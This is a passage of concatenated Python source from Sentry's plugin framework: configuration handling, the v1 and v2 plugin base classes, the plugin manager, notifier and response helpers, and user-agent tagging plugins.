from django.template import RequestContext
from django.http import HttpResponseRedirect
from django.contrib import messages
from django.http import Http404
from requests.exceptions import HTTPError


def default_plugin_config(plugin, project, request):
    if plugin.can_enable_for_projects() and \
       not plugin.can_configure_for_project(project):
        raise Http404()

    plugin_key = plugin.get_conf_key()
    form_class = plugin.get_conf_form(project)
    template = plugin.get_conf_template(project)

    if form_class is None:
        return HttpResponseRedirect(reverse(
            'sentry-manage-project', args=[project.organization.slug, project.slug]))

    test_results = None

    form = form_class(
        request.POST if request.POST.get('plugin') == plugin.slug else None,
        initial=plugin.get_conf_options(project),
        prefix=plugin_key,
    )
    if form.is_valid():
        if 'action_test' in request.POST and plugin.is_testable():
            try:
                test_results = plugin.test_configuration(project)
            except Exception as exc:
                if isinstance(exc, HTTPError):
                    test_results = '%s\n%s' % (exc, exc.response.text[:256])
                elif hasattr(exc, 'read') and callable(exc.read):
                    test_results = '%s\n%s' % (exc, exc.read()[:256])
                else:
                    logging.exception('Plugin(%s) raised an error during test',
                                      plugin_key)
                    test_results = 'There was an internal error with the Plugin'
            if not test_results:
                test_results = 'No errors returned'
        else:
            for field, value in six.iteritems(form.cleaned_data):
                key = '%s:%s' % (plugin_key, field)
                if project:
                    ProjectOption.objects.set_value(project, key, value)
                else:
                    options.set(key, value)

            messages.add_message(
                request, messages.SUCCESS,
                _('Your settings were saved successfully.'))
            return HttpResponseRedirect(request.path)

    # TODO(mattrobenolt): Reliably determine if a plugin is configured
    # if hasattr(plugin, 'is_configured'):
    #     is_configured = plugin.is_configured(project)
    # else:
    #     is_configured = True
    is_configured = True

    return mark_safe(render_to_string(template, {
        'form': form,
        'request': request,
        'plugin': plugin,
        'plugin_description': plugin.get_description() or '',
        'plugin_test_results': test_results,
        'plugin_is_configured': is_configured,
    }, context_instance=RequestContext(request)))


def default_issue_plugin_config(plugin, project, form_data):
    plugin_key = plugin.get_conf_key()
    for field, value in six.iteritems(form_data):
        key = '%s:%s' % (plugin_key, field)
        if project:
            ProjectOption.objects.set_value(project, key, value)
        else:
            options.set(key, value)


def default_plugin_options(plugin, project):
    form_class = plugin.get_conf_form(project)
    if form_class is None:
        return {}

    NOTSET = object()
    plugin_key = plugin.get_conf_key()
    initials = plugin.get_form_initial(project)
    for field in form_class.base_fields:
        key = '%s:%s' % (plugin_key, field)
        if project is not None:
            value = ProjectOption.objects.get_value(project, key, NOTSET)
        else:
            value = options.get(key)
        if value is not NOTSET:
            initials[field] = value
    return initials






"""
sentry.plugins.base.v2
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

__all__ = ('Plugin2',)

import logging
import six

from django.http import HttpResponseRedirect
from threading import local

from sentry.plugins.config import PluginConfigMixin
from sentry.plugins.base.response import Response
from sentry.plugins.base.configuration import (
    default_plugin_config, default_plugin_options,
)
from sentry.utils.hashlib import md5_text


class PluginMount(type):
    def __new__(cls, name, bases, attrs):
        new_cls = type.__new__(cls, name, bases, attrs)
        if IPlugin2 in bases:
            return new_cls
        if new_cls.title is None:
            new_cls.title = new_cls.__name__
        if not new_cls.slug:
            new_cls.slug = new_cls.title.replace(' ', '-').lower()
        if not hasattr(new_cls, 'logger'):
            new_cls.logger = logging.getLogger('sentry.plugins.%s' % (new_cls.slug,))
        return new_cls


class IPlugin2(local, PluginConfigMixin):
    """
    Plugin interface. Should not be inherited from directly.

    A plugin should be treated as if it were a singleton. The owner does not
    control when or how the plugin gets instantiated, nor is it guaranteed that
    it will happen, or happen more than once.

    >>> from sentry.plugins import Plugin2
    >>>
    >>> class MyPlugin(Plugin2):
    >>>     def get_title(self):
    >>>         return 'My Plugin'

    As a general rule all inherited methods should allow ``**kwargs`` to ensure
    ease of future compatibility.
    """
    # Generic plugin information
    title = None
    slug = None
    description = None
    version = None
    author = None
    author_url = None
    resource_links = ()

    # Configuration specifics
    conf_key = None
    conf_title = None

    project_conf_form = None
    project_conf_template = 'sentry/plugins/project_configuration.html'

    # Global enabled state
    enabled = True
    can_disable = True

    # Should this plugin be enabled by default for projects?
    project_default_enabled = False

    def _get_option_key(self, key):
        return '%s:%s' % (self.get_conf_key(), key)

    def is_enabled(self, project=None):
        """
        Returns a boolean representing if this plugin is enabled.

        If ``project`` is passed, it will limit the scope to that project.

        >>> plugin.is_enabled()
        """
        if not self.enabled:
            return False

        if not self.can_disable:
            return True

        if project:
            project_enabled = self.get_option('enabled', project)
            if project_enabled is not None:
                return project_enabled
            else:
                return self.project_default_enabled

        return True

    def reset_options(self, project=None, user=None):
        from .helpers import reset_options
        return reset_options(self.get_conf_key(), project, user)

    def get_option(self, key, project=None, user=None):
        """
        Returns the value of an option in your plugins keyspace, or ``None`` if
        one is not present.

        If ``project`` is passed, it will limit the scope to that project's keyspace.

        >>> value = plugin.get_option('my_option')
        """
        from sentry.plugins.helpers import get_option
        return get_option(self._get_option_key(key), project, user)

    def set_option(self, key, value, project=None, user=None):
        """
        Updates the value of an option in your plugins keyspace.

        If ``project`` is passed, it will limit the scope to that project's keyspace.

        >>> plugin.set_option('my_option', 'http://example.com')
        """
        from sentry.plugins.helpers import set_option
        return set_option(self._get_option_key(key), value, project, user)

    def unset_option(self, key, project=None, user=None):
        """
        Removes an option in your plugins keyspace.

        If ``project`` is passed, it will limit the scope to that project's keyspace.

        >>> plugin.unset_option('my_option')
        """
        from sentry.plugins.helpers import unset_option
        return unset_option(self._get_option_key(key), project, user)

    def enable(self, project=None, user=None):
        """Enable the plugin."""
        self.set_option('enabled', True, project, user)

    def disable(self, project=None, user=None):
        """Disable the plugin."""
        self.set_option('enabled', False, project, user)

    def get_conf_key(self):
        """
        Returns a string representing the configuration keyspace prefix for this plugin.
        """
        if not self.conf_key:
            self.conf_key = self.get_conf_title().lower().replace(' ', '_')
        return self.conf_key

    def get_conf_form(self, project=None):
        """
        Returns the Form required to configure the plugin.

        >>> plugin.get_conf_form(project)
        """
        if project is not None:
            return self.project_conf_form
        return self.site_conf_form

    def get_conf_template(self, project=None):
        """
        Returns the template required to render the configuration page.

        >>> plugin.get_conf_template(project)
        """
        if project is not None:
            return self.project_conf_template
        return self.site_conf_template

    def get_conf_options(self, project=None):
        """
        Returns a dict of all of the configured options for a project.

        >>> plugin.get_conf_options(project)
        """
        return default_plugin_options(self, project)

    def get_conf_version(self, project):
        """
        Returns a version string that represents the current configuration state.

        If any option changes or new options added, the version will change.

        >>> plugin.get_conf_version(project)
        """
        options = self.get_conf_options(project)
        return md5_text(
            '&'.join(sorted('%s=%s' % o for o in six.iteritems(options)))
        ).hexdigest()[:3]

    def get_conf_title(self):
        """
        Returns a string representing the title to be shown on the configuration page.
        """
        return self.conf_title or self.get_title()

    def get_form_initial(self, project=None):
        return {}

    def has_project_conf(self):
        return self.project_conf_form is not None

    def can_configure_for_project(self, project):
        """
        Checks if the plugin can be configured for a specific project.
        """
        from sentry import features

        if not self.enabled:
            return False

        if not features.has('projects:plugins', project, self, actor=None):
            return False

        if not self.can_disable:
            return True

        return True

    # Response methods

    def redirect(self, url):
        """
        Returns a redirect response type.
        """
        return HttpResponseRedirect(url)

    def render(self, template, context=None):
        """
        Given a template name, and an optional context (dictionary), returns a
        ready-to-render response.

        Default context includes the plugin instance.

        >>> plugin.render('template.html', {'hello': 'world'})
        """
        if context is None:
            context = {}
        context['plugin'] = self
        return Response(template, context)

    # The following methods are specific to web requests

    def get_title(self):
        """
        Returns the general title for this plugin.

        >>> plugin.get_title()
        """
        return self.title

    def get_description(self):
        """
        Returns the description for this plugin. This is shown on the plugin configuration
        page.

        >>> plugin.get_description()
        """
        return self.description

    def get_resource_links(self):
        """
        Returns a list of tuples pointing to various resources for this plugin.

        >>> def get_resource_links(self):
        >>>     return [
        >>>         ('Documentation', 'https://docs.sentry.io'),
        >>>         ('Bug Tracker', 'https://github.com/getsentry/sentry/issues'),
        >>>         ('Source', 'https://github.com/getsentry/sentry'),
        >>>     ]
        """
        return self.resource_links

    def get_rules(self, **kwargs):
        """
        Return a list of Rule classes to add to the registry.

        >>> def get_rules(self, **kwargs):
        >>>     return [MyCustomRule]
        """
        return []

    def get_actions(self, request, group, **kwargs):
        """
        Return a list of available actions to append this aggregate.

        Examples of built-in actions are "Mute Event" and "Remove Data".

        An action is a tuple containing two elements:

            ('Action Label', '/uri/to/action/')

        >>> def get_actions(self, request, group, **kwargs):
        >>>     return [('Google', 'http://google.com')]
        """
        return []

    def get_annotations(self, group, **kwargs):
        """
        Return a list of annotations to append to this aggregate.

        An example of an annotation might be "Needs Fix" or "Task #123".

        The properties of each tag must match the constructor for
        :class:`sentry.plugins.Annotation`

        >>> def get_annotations(self, group, **kwargs):
        >>>     task_id = GroupMeta.objects.get_value(group, 'myplugin:tid')
        >>>     if not task_id:
        >>>         return []
        >>>     return [{'label': '#%s' % (task_id,)}]
        """
        return []

    def get_notifiers(self, **kwargs):
        """
        Return a list of notifiers to append to the registry.

        Notifiers must extend :class:`sentry.plugins.Notifier`.

        >>> def get_notifiers(self, **kwargs):
        >>>     return [MyNotifier]
        """
        return []

    def get_tags(self, event, **kwargs):
        """
        Return a list of additional tags to add to this instance.

        A tag is a tuple containing two elements:

            ('tag-key', 'tag-value')

        >>> def get_tags(self, event, **kwargs):
        >>>     return [('tag-key', 'tag-value')]
        """
        return []

    def get_event_preprocessors(self, **kwargs):
        """
        Return a list of preprocessors to apply to the given event.

        A preprocessor is a function that takes the normalized data blob as an
        input and returns modified data as output. If no changes to the data are
        made it is safe to return ``None``.

        >>> def get_event_preprocessors(self, **kwargs):
        >>>     return [lambda x: x]
        """
        return []

    def get_feature_hooks(self, **kwargs):
        """
        Return a list of callables to check for feature status.

        >>> from sentry.features import FeatureHandler
        >>>
        >>> class NoRegistration(FeatureHandler):
        >>>     features = set(['auth:register'])
        >>>
        >>>     def has(self, feature, actor):
        >>>         return False

        >>> def get_feature_hooks(self, **kwargs):
        >>>     return [NoRegistration()]
        """
        return []

    def get_release_hook(self, **kwargs):
        """
        Return an implementation of ``ReleaseHook``.

        >>> from sentry.plugins import ReleaseHook
        >>>
        >>> class MyReleaseHook(ReleaseHook):
        >>>     def handle(self, request):
        >>>         self.finish_release(version=request.POST['version'])

        >>> def get_release_hook(self, **kwargs):
        >>>     return MyReleaseHook
        """
        return []

    def configure(self, project, request):
        """Configures the plugin."""
        return default_plugin_config(self, project, request)

    def get_url_module(self):
        """Allows a plugin to return the import path to a URL module."""


@six.add_metaclass(PluginMount)
class Plugin2(IPlugin2):
    """
    A plugin should be treated as if it were a singleton. The owner does not
    control when or how the plugin gets instantiated, nor is it guaranteed that
    it will happen, or happen more than once.
    """
    __version__ = 2






"""
sentry.plugins.base.notifier
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

__all__ = ('Notifier',)

from sentry.app import ratelimiter


class Notifier(object):
    def notify(self, notification, **kwargs):
        """
        Send a notification.

        See :class:`sentry.plugins.Notification` for notification properties.

        >>> def notify(self, notification):
        >>>     self.logger.info('Received notification for event %r', notification.event)
        """

    def should_notify(self, group, event):
        if group.is_muted():
            return False

        project = group.project

        rate_limited = ratelimiter.is_limited(
            project=project,
            key=self.get_conf_key(),
            limit=10,
        )

        if rate_limited:
            self.logger.info('notification.rate_limited', extra={'project_id': project.id})

        return not rate_limited

    def notify_about_activity(self, activity):
        pass






from __future__ import absolute_import

import re

from django.conf.urls import patterns, include, url

from sentry.plugins import plugins


urlpatterns = patterns('')

for _plugin in plugins.all():
    _plugin_url_module = _plugin.get_url_module()
    if _plugin_url_module:
        urlpatterns += (
            url('^%s/' % re.escape(_plugin.slug),
                include(_plugin_url_module)),
        )






"""
sentry.plugins.base.structs
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

__all__ = ('Annotation', 'Notification')

import warnings


class Annotation(object):
    def __init__(self, label, url=None, description=None):
        self.label = label
        self.url = url
        self.description = description


class Notification(object):
    def __init__(self, event, rule=None, rules=None):
        if rule and not rules:
            rules = [rule]

        self.event = event
        self.rules = rules or []

    @property
    def rule(self):
        warnings.warn('Notification.rule is deprecated. Switch to Notification.rules.',
                      DeprecationWarning)
        return self.rules[0]






from __future__ import absolute_import

from django.conf.urls import patterns, include, url

from sentry.plugins import plugins


urlpatterns = patterns('')

for _plugin in plugins.all():
    _plugin_group_urls = _plugin.get_group_urls()
    if _plugin_group_urls:
        urlpatterns.append(
            url(r'^%s/' % _plugin.slug, include(_plugin_group_urls))
        )






from __future__ import absolute_import

from django.conf.urls import patterns, include, url

from sentry.plugins import plugins


urlpatterns = patterns('')

for _plugin in plugins.all():
    _plugin_project_urls = _plugin.get_project_urls()
    if _plugin_project_urls:
        urlpatterns.append(
            url(r'^%s/' % _plugin.slug, include(_plugin_project_urls))
        )






"""
sentry.plugins.base
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from sentry.plugins.base.manager import PluginManager
from sentry.plugins.base.notifier import *  # NOQA
from sentry.plugins.base.response import *  # NOQA
from sentry.plugins.base.structs import *  # NOQA
from sentry.plugins.base.v1 import *  # NOQA
from sentry.plugins.base.v2 import *  # NOQA

plugins = PluginManager()
register = plugins.register
unregister = plugins.unregister






"""
sentry.plugins.base.manager
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

__all__ = ('PluginManager',)

import logging

from sentry.utils.managers import InstanceManager
from sentry.utils.safe import safe_execute


class PluginManager(InstanceManager):
    def __iter__(self):
        return iter(self.all())

    def __len__(self):
        return sum(1 for i in self.all())

    def all(self, version=1):
        for plugin in sorted(super(PluginManager, self).all(), key=lambda x: x.get_title()):
            if not plugin.is_enabled():
                continue
            if version is not None and plugin.__version__ != version:
                continue
            yield plugin

    def configurable_for_project(self, project, version=1):
        for plugin in self.all(version=version):
            if not safe_execute(plugin.can_configure_for_project, project,
                                _with_transaction=False):
                continue
            yield plugin

    def for_project(self, project, version=1):
        for plugin in self.all(version=version):
            if not safe_execute(plugin.is_enabled, project,
                                _with_transaction=False):
                continue
            yield plugin

    def for_site(self, version=1):
        for plugin in self.all(version=version):
            if not plugin.has_site_conf():
                continue
            yield plugin

    def get(self, slug):
        for plugin in self.all(version=1):
            if plugin.slug == slug:
                return plugin
        for plugin in self.all(version=2):
            if plugin.slug == slug:
                return plugin
        raise KeyError(slug)

    def first(self, func_name, *args, **kwargs):
        version = kwargs.pop('version', 1)
        for plugin in self.all(version=version):
            try:
                result = getattr(plugin, func_name)(*args, **kwargs)
            except Exception as e:
                logger = logging.getLogger('sentry.plugins.%s' % (type(plugin).slug,))
                logger.error('%s.process_error', func_name,
                    exc_info=True,
                    extra={'exception': e},
                )
                continue

            if result is not None:
                return result

    def register(self, cls):
        self.add('%s.%s' % (cls.__module__, cls.__name__))
        return cls

    def unregister(self, cls):
        self.remove('%s.%s' % (cls.__module__, cls.__name__))
        return cls






"""
sentry.plugins.base.v1
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

__all__ = ('Plugin',)

import logging
import six

from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from threading import local

from sentry.auth import access
from sentry.plugins.config import PluginConfigMixin
from sentry.plugins.base.response import Response
from sentry.plugins.base.view import PluggableViewMixin
from sentry.plugins.base.configuration import (
    default_plugin_config, default_plugin_options,
)
from sentry.utils.hashlib import md5_text


class PluginMount(type):
    def __new__(cls, name, bases, attrs):
        new_cls = type.__new__(cls, name, bases, attrs)
        if IPlugin in bases:
            return new_cls
        if new_cls.title is None:
            new_cls.title = new_cls.__name__
        if not new_cls.slug:
            new_cls.slug = new_cls.title.replace(' ', '-').lower()
        if not hasattr(new_cls, 'logger'):
            new_cls.logger = logging.getLogger('sentry.plugins.%s' % (new_cls.slug,))
        return new_cls


class IPlugin(local, PluggableViewMixin, PluginConfigMixin):
    """
    Plugin interface. Should not be inherited from directly.

    A plugin should be treated as if it were a singleton. The owner does not
    control when or how the plugin gets instantiated, nor is it guaranteed that
    it will happen, or happen more than once.

    >>> from sentry.plugins import Plugin  # NOQA
    >>> class MyPlugin(Plugin):
    >>>     title = 'My Plugin'
    >>>
    >>>     def widget(self, request, group, **kwargs):
    >>>         return self.render('myplugin/widget.html')

    All children should allow ``**kwargs`` on all inherited methods.
    """
    # Generic plugin information
    title = None
    slug = None
    description = None
    version = None
    author = None
    author_url = None
    resource_links = ()

    # Configuration specifics
    conf_key = None
    conf_title = None

    project_conf_form = None
    project_conf_template = 'sentry/plugins/project_configuration.html'

    site_conf_form = None
    site_conf_template = 'sentry/plugins/site_configuration.html'

    # Global enabled state
    enabled = True
    can_disable = True

    # Should this plugin be enabled by default for projects?
    project_default_enabled = False

    def _get_option_key(self, key):
        return '%s:%s' % (self.get_conf_key(), key)

    def is_enabled(self, project=None):
        """
        Returns a boolean representing if this plugin is enabled.

        If ``project`` is passed, it will limit the scope to that project.

        >>> plugin.is_enabled()
        """
        if not self.enabled:
            return False
        if not self.can_disable:
            return True
        if not self.can_enable_for_projects():
            return True

        if project:
            project_enabled = self.get_option('enabled', project)
            if project_enabled is not None:
                return project_enabled
            else:
                return self.project_default_enabled

        return True

    def reset_options(self, project=None, user=None):
        from sentry.plugins.helpers import reset_options
        return reset_options(self.get_conf_key(), project, user)

    def get_option(self, key, project=None, user=None):
        """
        Returns the value of an option in your plugins keyspace, or ``None`` if
        one is not present.

        If ``project`` is passed, it will limit the scope to that project's keyspace.

        >>> value = plugin.get_option('my_option')
        """
        from sentry.plugins.helpers import get_option
        return get_option(self._get_option_key(key), project, user)

    def set_option(self, key, value, project=None, user=None):
        """
        Updates the value of an option in your plugins keyspace.

        If ``project`` is passed, it will limit the scope to that project's keyspace.

        >>> plugin.set_option('my_option', 'http://example.com')
        """
        from sentry.plugins.helpers import set_option
        return set_option(self._get_option_key(key), value, project, user)

    def unset_option(self, key, project=None, user=None):
        """
        Removes an option in your plugins keyspace.

        If ``project`` is passed, it will limit the scope to that project's keyspace.

        >>> plugin.unset_option('my_option')
        """
        from sentry.plugins.helpers import unset_option
        return unset_option(self._get_option_key(key), project, user)

    def enable(self, project=None, user=None):
        """Enable the plugin."""
        self.set_option('enabled', True, project, user)

    def disable(self, project=None, user=None):
        """Disable the plugin."""
        self.set_option('enabled', False, project, user)

    def get_url(self, group):
        """
        Returns the absolute URL to this plugins group action handler.

        >>> plugin.get_url(group)
        """
        return reverse('sentry-group-plugin-action', args=(group.organization.slug, group.project.slug, group.pk, self.slug))

    def get_conf_key(self):
        """
        Returns a string representing the configuration keyspace prefix for this plugin.
        """
        if not self.conf_key:
            return self.get_conf_title().lower().replace(' ', '_')
        return self.conf_key

    def get_conf_form(self, project=None):
        """
        Returns the Form required to configure the plugin.

        >>> plugin.get_conf_form(project)
        """
        if project is not None:
            return self.project_conf_form
        return self.site_conf_form

    def get_conf_template(self, project=None):
        """
        Returns the template required to render the configuration page.

        >>> plugin.get_conf_template(project)
        """
        if project is not None:
            return self.project_conf_template
        return self.site_conf_template

    def get_conf_options(self, project=None):
        """
        Returns a dict of all of the configured options for a project.

        >>> plugin.get_conf_options(project)
        """
        return default_plugin_options(self, project)

    def get_conf_version(self, project):
        """
        Returns a version string that represents the current configuration state.

        If any option changes or new options added, the version will change.

        >>> plugin.get_conf_version(project)
        """
        options = self.get_conf_options(project)
        return md5_text(
            '&'.join(sorted('%s=%s' % o for o in six.iteritems(options)))
        ).hexdigest()[:3]

    def get_conf_title(self):
        """
        Returns a string representing the title to be shown on the configuration page.
        """
        return self.conf_title or self.get_title()

    def has_site_conf(self):
        return self.site_conf_form is not None

    def has_project_conf(self):
        return self.project_conf_form is not None

    def can_enable_for_projects(self):
        """
        Returns a boolean describing whether this plugin can be enabled for
        projects.
        """
        return True

    def can_configure_for_project(self, project):
        """
        Returns a boolean describing whether this plugin can be enabled on
        a per project basis
        """
        from sentry import features

        if not self.enabled:
            return False
        if not self.can_enable_for_projects():
            return False

        if not features.has('projects:plugins', project, self, actor=None):
            return False

        if not self.can_disable:
            return True

        return True

    def get_form_initial(self, project=None):
        return {}

    # The following methods are specific to web requests

    def get_title(self):
        """
        Returns the general title for this plugin.

        >>> plugin.get_title()
        """
        return self.title

    def get_description(self):
        """
        Returns the description for this plugin. This is shown on the plugin configuration
        page.

        >>> plugin.get_description()
        """
        return self.description

    def get_resource_links(self):
        """
        Returns a list of tuples pointing to various resources for this plugin.

        >>> def get_resource_links(self):
        >>>     return [
        >>>         ('Documentation', 'https://docs.sentry.io'),
        >>>         ('Bug Tracker', 'https://github.com/getsentry/sentry/issues'),
        >>>         ('Source', 'https://github.com/getsentry/sentry'),
        >>>     ]
        """
        return self.resource_links

    def get_view_response(self, request, group):
        from sentry.models import Event

        self.selected = request.path == self.get_url(group)

        if not self.selected:
            return

        response = self.view(request, group)

        if not response:
            return

        if isinstance(response, HttpResponseRedirect):
            return response

        if not isinstance(response, Response):
            raise NotImplementedError('Use self.render() when returning responses.')

        event = group.get_latest_event() or Event()
        event.group = group

        request.access = access.from_request(request, group.organization)

        return response.respond(request, {
            'plugin': self,
            'project': group.project,
            'group': group,
            'event': event,
            'can_admin_event': request.access.has_scope('event:write'),
            'can_remove_event': request.access.has_scope('event:delete'),
        })

    def view(self, request, group, **kwargs):
        """
        Handles the view logic. If no response is given, we continue to the next action provider.

        >>> def view(self, request, group, **kwargs):
        >>>     return self.render('myplugin/about.html')
        """

    def before_events(self, request, group_list, **kwargs):
        """
        Allows preprocessing of groups in the list view.

        This is generally useful if you need to cache lookups
        for something like ``tags`` which would otherwise do
        multiple queries.

        If you use this **at all** you should ensure it's already
        reset on each execution.

        As an example, here's how we might get a reference to ticket ids we were
        storing per event, in an efficient O(1) manner.

        >>> def before_events(self, request, event_list, **kwargs):
        >>>     prefix = self.get_conf_key()
        >>>     GroupMeta.objects.get_value_bulk(event_list, '%s:tid' % prefix)
        """

    def tags(self, request, group, tag_list, **kwargs):
        """
        Modifies the tag list for a grouped message.

        A tag is a string, already marked safe or later escaped, that is shown inline with
        the event.

        This must return ``tag_list``.

        >>> def tags(self, request, group, tag_list, **kwargs):
        >>>     tag_list.append(':(')
        >>>     return tag_list
        """
        return tag_list

    def actions(self, request, group, action_list, **kwargs):
        """
        Modifies the action list for a grouped message.

        An action is a tuple containing two elements:

        ('Action Label', '/uri/to/action/')

        This must return ``action_list``.

        >>> def actions(self, request, group, action_list, **kwargs):
        >>>     action_list.append(('Google', 'http://google.com'))
        >>>     return action_list
        """
        return action_list

    def panels(self, request, group, panel_list, **kwargs):
        """
        Modifies the panel list for a grouped message.

        A panel is a tuple containing two elements:

        ('Panel Label', '/uri/to/panel/')

        This must return ``panel_list``.

        >>> def panels(self, request, group, action_list, **kwargs):
        >>>     panel_list.append((self.get_title(), self.get_url(group)))
        >>>     return panel_list
        """
        return panel_list

    def widget(self, request, group, **kwargs):
        """
        Renders as a widget in the group details sidebar.

        >>> def widget(self, request, group, **kwargs):
        >>>     return self.render('myplugin/widget.html')
        """

    # Server side signals which do not have request context

    def has_perm(self, user, perm, *objects, **kwargs):
        # DEPRECATED: No longer used.
        pass

    def missing_perm_response(self, request, perm, *args, **objects):
        # DEPRECATED: No longer used.
        pass

    def is_regression(self, group, event, **kwargs):
        """
        Called on new events when the group's status is resolved.
        Return True if this event is a regression, False if it is not,
        None to defer to other plugins.

        :param group: an instance of ``Group``
        :param event: an instance of ``Event``

        >>> def is_regression(self, group, event, **kwargs):
        >>>     # regression if 'version' tag has a value we haven't seen before
        >>>     seen_versions = set(t[0] for t in group.get_unique_tags("version"))
        >>>     event_version = dict(event.get_tags()).get("version")
        >>>     return event_version not in seen_versions
        """

    def post_process(self, group, event, is_new, is_sample, **kwargs):
        """
        Post processes an event after it has been saved.

        :param group: an instance of ``Group``
        :param event: an instance of ``Event``
        :param is_new: a boolean describing if this group is new, or has changed state
        :param is_sample: a boolean describing if this event was stored, or sampled

        >>> def post_process(self, event, **kwargs):
        >>>     print 'New event created:', event.id
        >>>     print group.get_absolute_url()
        """

    def get_tags(self, event, **kwargs):
        """
        Return additional tags to add to this instance.

        Tags should be a list of tuples.

        >>> def get_tags(self, event, **kwargs):
        >>>     return [('tag-name', 'tag-value')]
        """

    def get_notification_forms(self, **kwargs):
        """
        Provides additional UserOption forms for the Notification Settings page.

        Must return an iterable.

        >>> def get_notification_forms(self, **kwargs):
        >>>     return [MySettingsForm]
        """
        return []

    def is_testable(self, **kwargs):
        """
        Returns True if this plugin is able to be tested.
        """
        return hasattr(self, 'test_configuration')

    def configure(self, request, project=None):
        """Configures the plugin."""
        return default_plugin_config(self, project, request)

    def get_url_module(self):
        """Allows a plugin to return the import path to a URL module."""

    def get_configure_plugin_fields(self, request, project, **kwargs):
        form = self.project_conf_form
        if not form:
            return []

        config = []
        for name, field in six.iteritems(form.fields):
            row = self.field_to_config(name, field)
            row['default'] = self.get_option(name, project)
            config.append(row)
        return config

    def view_configure(self, request, project, **kwargs):
        if request.method == 'GET':
            return Response(self.get_configure_plugin_fields(request, project, **kwargs))
        self.configure(project, request.DATA)
        return Response({'message': 'Successfully updated configuration.'})


@six.add_metaclass(PluginMount)
class Plugin(IPlugin):
    """
    A plugin should be treated as if it were a singleton. The owner does not
    control when or how the plugin gets instantiated, nor is it guaranteed that
    it will happen, or happen more than once.
    """
    __version__ = 1






"""
sentry.plugins.base.response
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

__all__ = ('Response', 'JSONResponse')

from django.core.context_processors import csrf
from django.http import HttpResponse

from sentry.utils import json


class Response(object):
    def __init__(self, template, context=None):
        self.template = template
        self.context = context

    def respond(self, request, context=None):
        return HttpResponse(self.render(request, context))

    def render(self, request, context=None):
        from sentry.web.helpers import render_to_string

        if not context:
            context = {}

        if self.context:
            context.update(self.context)

        context.update(csrf(request))

        return render_to_string(self.template, context, request)


class JSONResponse(Response):
    def __init__(self, context, status=200):
        self.context = context
        self.status = status

    def respond(self, request, context=None):
        return HttpResponse(json.dumps(self.context),
                            content_type='application/json',
                            status=self.status)






"""
sentry.plugins.sentry_useragents.models
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from ua_parser.user_agent_parser import Parse

import sentry
from sentry.plugins import register
from sentry.plugins.bases.tag import TagPlugin


class UserAgentPlugin(TagPlugin):
    version = sentry.VERSION
    author = "Sentry Team"
    author_url = "https://github.com/getsentry/sentry"
    project_default_enabled = True

    def get_tag_values(self, event):
        contexts = event.interfaces.get('contexts')
        # disable tagging if contexts are present
        if contexts:
            return []

        http = event.interfaces.get('sentry.interfaces.Http')
        if not http:
            return []
        if not http.headers:
            return []

        headers = http.headers
        # XXX: transitional support for workers
        if isinstance(headers, dict):
            headers = headers.items()

        output = []
        for key, value in headers:
            if key != 'User-Agent':
                continue
            ua = Parse(value)
            if not ua:
                continue
            result = self.get_tag_from_ua(ua)
            if result:
                output.append(result)
        return output


class BrowserPlugin(UserAgentPlugin):
    """
    Automatically adds the 'browser' tag from events containing interface data
    from ``sentry.interfaces.Http``.
    """
    slug = 'browsers'
    title = 'Auto Tag: Browsers'
    tag = 'browser'

    def get_tag_from_ua(self, ua):
        ua = ua['user_agent']

        if not ua['family']:
            return

        version = '.'.join(value for value in [
            ua['major'],
            ua['minor'],
        ] if value)
        tag = ua['family']
        if version:
            tag += ' ' + version

        return tag

register(BrowserPlugin)


class OsPlugin(UserAgentPlugin):
    """
    Automatically adds the 'os' tag from events containing interface data
    from ``sentry.interfaces.Http``.
    """
    slug = 'os'
    title = 'Auto Tag: Operating Systems'
    tag = 'os'

    def get_tag_from_ua(self, ua):
        ua = ua['os']

        if not ua['family']:
            return

        version = '.'.join(value for value in [
            ua['major'],
            ua['minor'],
            ua['patch'],
        ] if value)
        tag = ua['family']
        if version:
            tag += ' ' + version

        return tag

register(OsPlugin)


class DevicePlugin(UserAgentPlugin):
    """
    Automatically adds the 'device' tag from events containing interface data
    from ``sentry.interfaces.Http``.
    """
    slug = 'device'
    title = 'Auto Tag: Device'
    tag = 'device'

    def get_tag_from_ua(self, ua):
        return ua['device']['family']

register(DevicePlugin)






"""
sentry.plugins.sentry_useragents
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






from __future__ import absolute_import

from .releasehook import *  # NOQA






"""
sentry.plugins.base.structs
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

__all__ = ['ReleaseHook']

from django.utils import timezone

from sentry.models import Activity, Release


class ReleaseHook(object):
    def __init__(self, project):
        self.project = project

    def start_release(self, version, **values):
        values.setdefault('date_started', timezone.now())
        Release.objects.create_or_update(
            version=version,
            project=self.project,
